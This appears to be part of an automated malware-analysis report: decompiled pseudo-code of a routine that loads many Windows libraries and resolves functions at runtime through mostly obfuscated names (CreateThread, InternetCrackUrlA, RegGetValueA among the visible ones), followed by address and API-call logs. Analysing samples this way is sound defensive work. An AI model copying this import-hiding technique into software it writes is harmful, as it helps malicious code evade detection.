					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x7c7b48
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x7c4a10
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x7c4990
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x7c4a90
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x7c7ae8
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x7c4a30
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x7c7bd8
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x7c4cb0
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x7c4b50
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x7c76e0
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x7c7728
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x7c76f8
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x7c7380
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x7c7668
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x7c7578
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x7c74e8
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x7c75a8
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x7c7548
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x7c73e0
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x7c75f0
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x7c74d0
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x7c73c8
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x7c71d0
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x7c7aa0
					_t355 =  *0x41a8d8; // 0x6fc20000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x7c4bb0
					_t266 =  *0x41a8d8; // 0x6fc20000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x7c49d0
					_t112 =  *0x41a8d8; // 0x6fc20000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x7c4c50
					_t357 =  *0x41a8d8; // 0x6fc20000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x7c7ab8
					_t268 =  *0x41a8d8; // 0x6fc20000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x7c4ad0
					_t117 =  *0x41a8d8; // 0x6fc20000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x7c4b30
					_t359 =  *0x41a8d8; // 0x6fc20000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x7c4a70
					_t270 =  *0x41a8d8; // 0x6fc20000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x7c4c10
					_t122 =  *0x41a8d8; // 0x6fc20000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fc20000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x7c7d10
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x7c7cc8
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x7c4af0
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x7c4cf0
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x7c7b60
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x7c72e0
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x7c4b10
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x7c4d10
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x7c7cb0
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x7c7ce0
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x7c7b78
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x7c7cf8
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x7c4c30
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x7c7b90
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x7c49b0
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x7c7bf0
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x7c7b00
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x7c7d58
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x7c4bd0
					_t246 =  *0x41a988; // 0x76b90000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x7c4b70
					_t66 =  *0x41a988; // 0x76b90000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x7c7c08
					_t337 =  *0x41a988; // 0x76b90000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x7c7300
					_t248 =  *0x41a988; // 0x76b90000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x7c7c20
					_t71 =  *0x41a988; // 0x76b90000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x7c7d28
					_t339 =  *0x41a988; // 0x76b90000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x7c7d40
					_t250 =  *0x41a988; // 0x76b90000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x7c7d70
					_t76 =  *0x41a988; // 0x76b90000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x7c7170
					_t341 =  *0x41a988; // 0x76b90000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x7c4b90
					_t252 =  *0x41a988; // 0x76b90000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x7c7b18
					_t81 =  *0x41a988; // 0x76b90000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x7c7c38
					_t343 =  *0x41a988; // 0x76b90000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x7c60b0
					_t244 =  *0x41aa40; // 0x701a0000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x7c4d30
					_t59 =  *0x41a94c; // 0x768e0000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x7c4c70
					_t332 =  *0x41a934; // 0x749a0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x7c66d8
					_t239 =  *0x41aa34; // 0x73da0000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x7c49f0
					_t52 =  *0x41aa34; // 0x73da0000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x7c65c0
					_t329 =  *0x41aa34; // 0x73da0000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x7c4bf0
					_t241 =  *0x41aa34; // 0x73da0000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x7c6840
					_t57 =  *0x41aa34; // 0x73da0000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x7c7c68
					_t331 =  *0x41aa34; // 0x73da0000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x7c7c80
					_t235 =  *0x41aa80; // 0x6fbe0000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x7c7f20
					_t43 =  *0x41aa80; // 0x6fbe0000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x7c4d50
					_t325 =  *0x41aa80; // 0x6fbe0000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x7aa8a8
					_t237 =  *0x41aa80; // 0x6fbe0000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x7c80d0
					_t48 =  *0x41aa80; // 0x6fbe0000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x7c7d88
					_t327 =  *0x41aa80; // 0x6fbe0000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x7c7ec0
					_t233 =  *0x41a968; // 0x76720000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x7c7320
					_t39 =  *0x41a968; // 0x76720000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x7c7f38
					_t323 =  *0x41a968; // 0x76720000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x7c8130
					_t232 =  *0x41aa98; // 0x75390000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x7c7ed8
					_t36 =  *0x41aa98; // 0x75390000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x7c6778
					_t316 =  *0x41a938; // 0x73660000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x7c7f90
					_t227 =  *0x41a938; // 0x73660000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x7c6688
					_t25 =  *0x41a938; // 0x73660000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x7c7dd0
					_t318 =  *0x41a938; // 0x73660000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x7c7ea8
					_t229 =  *0x41a938; // 0x73660000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x7c8370
					_t30 =  *0x41a938; // 0x73660000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x7c82d0
					_t320 =  *0x41a938; // 0x73660000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x7c7ef0
					_t231 =  *0x41a938; // 0x73660000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x7c8070
					_t20 =  *0x41a97c; // 0x747d0000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x7c8050
					_t315 =  *0x41a97c; // 0x747d0000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x7c7f08
					_t224 =  *0x41aa88; // 0x6eb40000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(74DF0000,007C7698), ref: 0040C4BD
GetProcAddress.KERNEL32(74DF0000,007C76C8), ref: 0040C4D5
GetProcAddress.KERNEL32(74DF0000,007C5090), ref: 0040C4EE
GetProcAddress.KERNEL32(74DF0000,007C7488), ref: 0040C506
GetProcAddress.KERNEL32(74DF0000,007C75D8), ref: 0040C51E
GetProcAddress.KERNEL32(74DF0000,007C7608), ref: 0040C537
GetProcAddress.KERNEL32(74DF0000,007C7620), ref: 0040C54F
GetProcAddress.KERNEL32(74DF0000,007C7398), ref: 0040C567
GetProcAddress.KERNEL32(74DF0000,007C7410), ref: 0040C580
GetProcAddress.KERNEL32(74DF0000,007C7530), ref: 0040C598
GetProcAddress.KERNEL32(74DF0000,007C7440), ref: 0040C5B0
GetProcAddress.KERNEL32(74DF0000,007C7638), ref: 0040C5C9
GetProcAddress.KERNEL32(74DF0000,007C7590), ref: 0040C5E1
GetProcAddress.KERNEL32(74DF0000,007C50B0), ref: 0040C5F9
GetProcAddress.KERNEL32(74DF0000,007C7428), ref: 0040C612
GetProcAddress.KERNEL32(74DF0000,007C50D0), ref: 0040C62A
GetProcAddress.KERNEL32(74DF0000,007C6728), ref: 0040C642
GetProcAddress.KERNEL32(74DF0000,007C7650), ref: 0040C65B
GetProcAddress.KERNEL32(74DF0000,007C50F0), ref: 0040C673
GetProcAddress.KERNEL32(74DF0000,007C75C0), ref: 0040C68B
GetProcAddress.KERNEL32(74DF0000,007C5110), ref: 0040C6A4
GetProcAddress.KERNEL32(74DF0000,007C74B8), ref: 0040C6BC
GetProcAddress.KERNEL32(74DF0000,007C73B0), ref: 0040C6D4
GetProcAddress.KERNEL32(74DF0000,007C7458), ref: 0040C6ED
GetProcAddress.KERNEL32(74DF0000,007C7470), ref: 0040C705
GetProcAddress.KERNEL32(74DF0000,007C4C90), ref: 0040C71D
GetProcAddress.KERNEL32(74DF0000,007C7560), ref: 0040C736
GetProcAddress.KERNEL32(74DF0000,007C74A0), ref: 0040C74E
GetProcAddress.KERNEL32(74DF0000,007C7500), ref: 0040C766
GetProcAddress.KERNEL32(74DF0000,007C4AB0), ref: 0040C77F
GetProcAddress.KERNEL32(74DF0000,007C7518), ref: 0040C797
GetProcAddress.KERNEL32(74DF0000,007C7A88), ref: 0040C7AF
GetProcAddress.KERNEL32(74DF0000,007C7BA8), ref: 0040C7C8
GetProcAddress.KERNEL32(74DF0000,007C7AD0), ref: 0040C7E0
GetProcAddress.KERNEL32(74DF0000,007C7C50), ref: 0040C7F8
GetProcAddress.KERNEL32(74DF0000,007C4D70), ref: 0040C811
GetProcAddress.KERNEL32(74DF0000,007C4CD0), ref: 0040C829
GetProcAddress.KERNEL32(74DF0000,007C7C98), ref: 0040C841
GetProcAddress.KERNEL32(74DF0000,007C7B30), ref: 0040C85A
GetProcAddress.KERNEL32(74DF0000,007C4A50), ref: 0040C872
GetProcAddress.KERNEL32(74DF0000,007C6818), ref: 0040C88A
GetProcAddress.KERNEL32(74DF0000,007C7BC0), ref: 0040C8A3
GetProcAddress.KERNEL32(74DF0000,007C7B48), ref: 0040C8BB
GetProcAddress.KERNEL32(74DF0000,007C4A10), ref: 0040C8D3
GetProcAddress.KERNEL32(74DF0000,007C4990), ref: 0040C8EC
GetProcAddress.KERNEL32(74DF0000,007C4A90), ref: 0040C904
GetProcAddress.KERNEL32(74DF0000,007C7AE8), ref: 0040C91C
GetProcAddress.KERNEL32(74DF0000,007C4A30), ref: 0040C935
GetProcAddress.KERNEL32(74DF0000,007C7BD8), ref: 0040C94D
GetProcAddress.KERNEL32(74DF0000,007C4CB0), ref: 0040C965
GetProcAddress.KERNEL32(74DF0000,007C4B50), ref: 0040C97E
GetProcAddress.KERNEL32(74DF0000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(74DF0000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(74DF0000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(74DF0000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(74DF0000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(007C76E0,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNEL32(007C7728,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(007C76F8,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(007C7380,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNEL32(007C7668,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNEL32(007C7578,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNEL32(007C74E8,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNEL32(007C75A8,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNEL32(007C7548,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNEL32(007C73E0,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNEL32(007C75F0,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNEL32(007C74D0,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNEL32(007C73C8,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(775E0000,007C71D0), ref: 0040CAF6
GetProcAddress.KERNEL32(775E0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(775E0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(6FC20000,007C7AA0), ref: 0040CB49
GetProcAddress.KERNEL32(6FC20000,007C4BB0), ref: 0040CB61
GetProcAddress.KERNEL32(6FC20000,007C49D0), ref: 0040CB79
GetProcAddress.KERNEL32(6FC20000,007C4C50), ref: 0040CB92
GetProcAddress.KERNEL32(6FC20000,007C7AB8), ref: 0040CBAA
GetProcAddress.KERNEL32(6FC20000,007C4AD0), ref: 0040CBC2
GetProcAddress.KERNEL32(6FC20000,007C4B30), ref: 0040CBDB
GetProcAddress.KERNEL32(6FC20000,007C4A70), ref: 0040CBF3
GetProcAddress.KERNEL32(6FC20000,007C4C10), ref: 0040CC0B
GetProcAddress.KERNEL32(6FC20000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(768F0000,007C7D10), ref: 0040CC47
GetProcAddress.KERNEL32(768F0000,007C7CC8), ref: 0040CC60
GetProcAddress.KERNEL32(768F0000,007C4AF0), ref: 0040CC78
